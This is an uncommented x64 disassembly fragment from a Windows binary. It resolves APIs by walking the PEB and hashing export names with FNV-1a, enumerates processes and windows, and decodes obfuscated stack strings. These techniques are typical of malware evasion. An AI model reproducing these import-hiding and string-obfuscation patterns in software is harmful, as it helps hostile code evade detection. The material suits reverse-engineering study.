jne 0x140155488
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140155488
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140155488
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14015540d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140155402
cmp edx, r14d
je 0x140155423
test r9d, r9d
jne 0x1401553ed
jmp 0x140155488
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14015549d
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14015549d
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140155465
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x140155457
jmp 0x14015547b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14015546e
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14015549a
cmp qword [rbx + 0x30], r13
jne 0x140155367
mov r9, r13
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140155515
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x1401554fd
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401554e1
cmp edx, 0x610c0de3
je 0x14015556b
mov r8, qword [r8]
cmp r8, r10
je 0x14015550b
cmp qword [r8 + 0x30], r13
jne 0x1401554c7
mov r8, r13
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x140155566
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x14015554a
cmp ecx, 0xe463da3c
je 0x140155571
add r9d, edi
jmp 0x14015552e
mov r8, qword [r8 + 0x30]
jmp 0x14015550e
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x140155704
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140155611
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140155604
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401555f5
cmp edx, esi
jne 0x1401556e3
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401556e3
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401556e3
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x140155665
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14015565a
cmp edx, r14d
je 0x14015567b
test r10d, r10d
jne 0x140155645
jmp 0x1401556e3
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401556f8
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401556f8
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401556d6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdi
jmp 0x1401556b2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdi
mov al, byte [r10]
test al, al
jne 0x1401556c9
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401556f5
cmp qword [rbx + 0x30], r13
jne 0x1401555c5
mov r10, r13
mov qword [0x1404fba00], r10
mov edi, 1
lea r9, [rbp + 0x11b8]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x140155883
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140155795
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140155788
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140155779
cmp edx, esi
jne 0x140155867
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140155867
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140155867
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401557e9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401557de
cmp edx, r14d
je 0x1401557ff
test r11d, r11d
jne 0x1401557c9
jmp 0x140155867
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14015587c
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14015587c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edi, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14015585a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdi
jmp 0x140155836
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdi
mov al, byte [r8]
test al, al
jne 0x14015584d
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x140155879
cmp qword [rbx + 0x30], r13
jne 0x140155749
mov r8, r13
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov r14d, 0x40
or r12, 0xffffffffffffffff
lea r8, [rbp + 0x11bc]
mov edx, 0x1000
lea rcx, [rbp + 0x31f0]
call sub.KERNEL32.dll_K32EnumProcesses
mov r15d, 1
test eax, eax
je 0x1401558ec
mov eax, dword [rbp + 0x11bc]
shr eax, 2
test eax, eax
je 0x1401558ec
lea rbx, [rbp + 0x31f0]
mov edi, eax
mov ecx, dword [rbx]
call fcn.1401a2fb0
lea rbx, [rbx + 4]
sub rdi, r15
jne 0x1401558dc
xor edx, edx
lea rcx, [0x14012de70]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.140103894
test al, al
jne 0x14015aa79
mov byte [rbp + 0xdf0], 0x9b
mov byte [rbp + 0xdf1], 0x59
mov byte [rbp + 0xdf2], 0x80
mov byte [rbp + 0xdf3], 0x5b
mov byte [rbp + 0xdf4], 0xa0
mov byte [rbp + 0xdf5], 0x45
mov byte [rbp + 0xdf6], 0xbb
mov byte [rbp + 0xdf7], 0x47
mov byte [rbp + 0xdf8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xdf9], 0x41
mov byte [rbp + 0xdfa], 0xaf
mov byte [rbp + 0xdfb], 0x43
mov byte [rbp + 0xdfc], 0xde
mov byte [rbp + 0xdfd], Ordinal_79
mov byte [rbp + 0xdfe], 0xdd
mov byte [rbp + 0xdff], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xe00], 0xac
mov byte [rbp + 0xe01], Ordinal_79
mov byte [rbp + 0xe02], 0x86
mov byte [rbp + 0xe03], Ordinal_79
mov byte [rbp + 0xe04], 0x99
mov byte [rbp + 0xe05], 0x75
mov byte [rbp + 0xe06], 0x98
mov byte [rbp + 0xe07], 0x77
mov byte [rbp + 0xe08], __WSAFDIsSet
mov byte [rbp + 0xe09], WSACleanup
mov byte [rbp + 0xe0a], 0xef
mov byte [rbp + 0xe0b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xe0c], 0xe8
mov byte [rbp + 0xe0d], 0x7d
mov byte [rbp + 0xe0e], 0xe2
mov byte [rbp + 0xe0f], 0x7f
mov byte [rbp + 0xe10], 0x9c
mov byte [rbp + 0xe11], 0x79
mov byte [rbp + 0xe12], 0xbb
mov byte [rbp + 0xe13], 0x7b
mov byte [rbp + 0xe14], 0xf4
mov byte [rbp + 0xe15], 0x65
mov byte [rbp + 0xe16], 0xf6
mov byte [rbp + 0xe17], 0x67
mov byte [rbp + 0xe18], 0xac
mov byte [rbp + 0xe19], 0x61
mov byte [rbp + 0xe1a], 0x83
mov byte [rbp + 0xe1b], 0x63
mov byte [rbp + 0xe1c], 0xf0
mov byte [rbp + 0xe1d], WSASetLastError
mov byte [rbp + 0xe1e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xe1f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xe20], Ordinal_143
mov byte [rbp + 0xe21], WSAGetLastError
mov byte [rbp + 0xe22], 0xa7
mov byte [rbp + 0xe23], WSASetLastError
mov byte [rbp + 0xe24], 0x88
mov byte [rbp + 0xe25], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xe26], 0xfe
mov byte [rbp + 0xe27], reloc.WS2_32.dll_socket
mov byte [rbp + 0xe28], 0xfd
mov byte [rbp + 0xe29], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xe2a], 0x80
mov byte [rbp + 0xe2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xe2c], 0xfd
mov byte [rbp + 0xe2d], Ordinal_32
mov byte [rbp + 0xe2e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xe2f], Ordinal_32
mov byte [rbp + 0xe30], 0xfa
mov byte [rbp + 0xe31], Ordinal_27
mov byte [rbp + 0xe32], 0xf3
mov byte [rbp + 0xe33], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xe34], __WSAFDIsSet
mov byte [rbp + 0xe35], 5
mov byte [rbp + 0xe36], 6
mov byte [rbp + 0xe37], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe38], xmm0
mov qword [rbp + 0xe48], rax
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r9, qword [rax]
mov r10, r13
cmp r10, 0x60
jae 0x140156533
movzx r8d, byte [rbp + r10 + 0xdf0]
mov edx, r8d
cmp rbx, r10
ja 0x14015652a
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x140155b76
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2c
jmp 0x140155bad
je 0x1401564a6
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140156455
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401563f6
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401563d0
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x140156521
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x140155be5
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x140155c19
lea rax, [r9 + 1]
cmp rbx, rax
je 0x140156387
lea rax, [r9 + 2]
cmp rbx, rax
je 0x140156363
lea rax, [r9 + 4]
cmp rbx, rax
je 0x140156340
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14015631d
mov esi, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x140155f51
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x140155f2e
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x140155f1a
lea rax, [r9 + 8]
cmp rbx, rax
je 0x140155ef7
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x140155ed4
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x140155eb1
lea rax, [r9 + 9]
cmp rbx, rax
je 0x140155e8a
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401564fd
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401564d9
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x140155d43
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x140155e73
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x140155e44
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x140155c2b
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x140155e30
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x140155e1f
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x140155dfc
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x140155dd5
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x140155dae
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x140155d8b
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x140155d68
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x140155c2b
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, sil
jmp 0x140155c1e
movabs rcx, 0xf784771bff2313e0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x1401563a5
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x1401563cb
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401563ee
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140156446
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x1401562e4
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140155e99
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140156037
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
mov byte [rbp + r10 + 0xdf0], dil
jmp 0x1401564d1
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140155f67
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140156472
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401562e4
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x140156446
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401563ee
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140156372
movabs rcx, 0x89af1d39f33e9628
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401563a5
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x140156022
lea rdx, [r10 + r11]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
lea rax, [r9 + rbx]
cmp rax, 2
je 0x1401562bd
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x140156103
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp rbx, 0x80
jae 0x140156295
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401561a7
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r9, 0x42
jb 0x140155e66
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r10
mov al, cl
and al, r8b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401563a5
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015604f
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, esi
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401564c2
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14015607b
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x18
jmp 0x1401562e4
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401560a7
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x140156443
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401560d3
movabs rcx, 0x1bd9c357e75a1870
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x140156418
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x140155f77
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401563a5
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14015612f
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2c
jmp 0x1401563a5
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14015614c
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x140156372
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140156178
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x74
jmp 0x140156446
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x140155fb4
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x1401562e4
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401561c4
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140156037
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401561f0
movabs rcx, 0x41c0c31161150108
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x140156472
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14015621c
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x140156443
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x140156239
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140156405
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x140156265
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401563ee
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x140155ff0
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x28
jmp 0x1401563cb
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0xdf0]
sub dil, al
sub dil, 0x20
jmp 0x140156412
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, esi
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xdf0]
add dil, dl
add dil, r8b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0xdf0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x140156472
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x54
jmp 0x140156446
movabs rcx, 0xb6eaacf105f23edc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
jmp 0x140156418
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401563cb
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x4c
add r8b, cl
mov byte [rbp + r10 + 0xdf0], r8b
add r9, r15
jmp 0x1401563ee
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6c
sub r10, r15
jmp 0x1401564d1
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, dil
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0xdf0], cl
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x1401564d1
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x70
add r8b, cl
mov byte [rbp + r10 + 0xdf0], r8b
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x1401564c2
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xdf0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x140155b2b
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x140155b28
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x140155b18
lea rdx, [rbp + 0x16a1000]
jmp 0x14015653a
lea rdx, [rbp + 0x6bcb8c]
jmp 0x14015653a
lea rdx, [rbp + 0xdf0]
lea rcx, [rbp + 0x118]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2630]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14015656f
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov esi, 2
mov r8d, esi
lea rcx, [rbp + 0x2630]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2630]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2630]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xa00], 0x9b
mov byte [rbp + 0xa01], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa02], 0x90
mov byte [rbp + 0xa03], 0xdb
mov byte [rbp + 0xa04], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa05], Ordinal_217
mov byte [rbp + 0xa06], 0x7b
mov byte [rbp + 0xa07], Ordinal_217
mov byte [rbp + 0xa08], 0x43
mov byte [rbp + 0xa09], Ordinal_211
mov byte [rbp + 0xa0a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa0b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa0c], 0x5e
mov byte [rbp + 0xa0d], Ordinal_211
mov byte [rbp + 0xa0e], 0x5d
mov byte [rbp + 0xa0f], Ordinal_211
mov byte [rbp + 0xa10], WSASetLastError
mov byte [rbp + 0xa11], 0xc9
mov byte [rbp + 0xa12], 0x7a
mov byte [rbp + 0xa13], 0xcb
mov byte [rbp + 0xa14], Ordinal_79
mov byte [rbp + 0xa15], Ordinal_200
mov byte [rbp + 0xa16], 0x64
mov byte [rbp + 0xa17], Ordinal_200
mov byte [rbp + 0xa18], 0x54
mov byte [rbp + 0xa19], 0xc1
mov byte [rbp + 0xa1a], 0x5b
mov byte [rbp + 0xa1b], Ordinal_200
mov byte [rbp + 0xa1c], 0x9f
mov byte [rbp + 0xa1d], 0x3d
mov byte [rbp + 0xa1e], 0x9a
mov byte [rbp + 0xa1f], 0x3f
mov byte [rbp + 0xa20], 0x84
mov byte [rbp + 0xa21], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa22], 0xa8
mov byte [rbp + 0xa23], Ordinal_60
mov byte [rbp + 0xa24], 0xad
mov byte [rbp + 0xa25], gethostname
mov byte [rbp + 0xa26], 0xb8
mov byte [rbp + 0xa27], Ordinal_60
mov byte [rbp + 0xa28], 0xad
mov byte [rbp + 0xa29], Ordinal_50
mov byte [rbp + 0xa2a], 0xa0
mov byte [rbp + 0xa2b], gethostname
mov byte [rbp + 0xa2c], 0xbf
mov byte [rbp + 0xa2d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa2e], 0x78
mov byte [rbp + 0xa2f], Ordinal_50
mov byte [rbp + 0xa30], Ordinal_143
mov byte [rbp + 0xa31], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa32], 0xb3
mov byte [rbp + 0xa33], Ordinal_46
mov byte [rbp + 0xa34], 0xb2
